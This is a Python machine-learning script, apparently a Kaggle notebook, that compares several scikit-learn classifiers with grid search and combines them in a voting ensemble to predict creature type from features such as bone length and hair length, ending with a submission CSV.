_ = sns.heatmap(train_data.corr(), annot = True, fmt = ".2f", cmap = 'YlGnBu')
g = sns.FacetGrid(pd.melt(train_data, id_vars='type', value_vars = ['bone_length', 'rotting_flesh', 'hair_length', 'has_soul']), col = 'type')
g = g.map(sns.boxplot, 'value', 'variable', palette = 'muted')
df = pd.get_dummies(train_data.drop('type', axis = 1))
X_train, X_test, y_train, y_test = train_test_split(df, train_data['type'], test_size = 0.25, random_state = 0)
dt_clf = DecisionTreeClassifier(random_state = 0)
dt_clf.fit(X_train, y_train)
y_pred = dt_clf.predict(X_test)
print(metrics.classification_report(y_test, y_pred))
print("\nAccuracy Score is: " + str(metrics.accuracy_score(y_test, y_pred)))
accuracy_scorer = metrics.make_scorer(metrics.accuracy_score)
X_train = pd.get_dummies(train_data.drop('type', axis = 1))
y_train = train_data['type']
X_test = pd.get_dummies(test_data)
params = {'n_estimators':[10, 20, 50, 100], 'criterion':['gini', 'entropy'], 'max_depth':[None, 5, 10, 25, 50]}
rf = RandomForestClassifier(random_state = 0)
clf = GridSearchCV(rf, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
rf_best = RandomForestClassifier(n_estimators = 10, random_state = 0)
params = {'n_estimators':[10, 25, 50, 100], 'max_samples':[1, 3, 5, 10]}
bag = BaggingClassifier(random_state = 0)
clf = GridSearchCV(bag, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
bag_best = BaggingClassifier(max_samples = 5, n_estimators = 25, random_state = 0)
params = {'learning_rate':[0.05, 0.1, 0.5], 'n_estimators':[100, 200, 500], 'max_depth':[2, 3, 5, 10]}
gbc = GradientBoostingClassifier(random_state = 0)
clf = GridSearchCV(gbc, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
gbc_best = GradientBoostingClassifier(learning_rate = 0.1, max_depth = 5, n_estimators = 100, random_state = 0)
params = {'n_neighbors':[3, 5, 10, 20], 'leaf_size':[20, 30, 50], 'p':[1, 2, 5], 'weights':['uniform', 'distance']}
knc = KNeighborsClassifier()
clf = GridSearchCV(knc, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
knc_best = KNeighborsClassifier(n_neighbors = 10)
params = {'penalty':['l1', 'l2'], 'C':[1, 2, 3, 5, 10]}
lr = LogisticRegression(random_state = 0)
clf = GridSearchCV(lr, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
lr_best = LogisticRegression(penalty = 'l1', C = 1, random_state = 0)
params = {'kernel':['linear', 'rbf'], 'C':[1, 3, 5, 10], 'degree':[3, 5, 10]}
svc = SVC(probability = True, random_state = 0)
clf = GridSearchCV(svc, param_grid = params, scoring = accuracy_scorer, cv = 5, n_jobs = -1)
clf.fit(X_train, y_train)
print('Best score: {}'.format(clf.best_score_))
print('Best parameters: {}'.format(clf.best_params_))
svc_best = SVC(C = 10, degree = 3, kernel = 'linear', probability = True, random_state = 0)
voting_clf = VotingClassifier(estimators=[('rf', rf_best), ('bag', bag_best), ('gbc', gbc_best), ('lr', lr_best), ('svc', svc_best)]
, voting='hard')
voting_clf.fit(X_train, y_train)
y_pred = voting_clf.predict(X_test)
print("\nAccuracy Score for VotingClassifier is: " + str(voting_clf.score(X_train, y_train)))
submission = pd.DataFrame({'id':test_data_orig['id'], 'type':y_pred})
submission.to_csv('../working/submission.csv', index=False)
| [
"jcamsan@mit.edu"
] | jcamsan@mit.edu |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.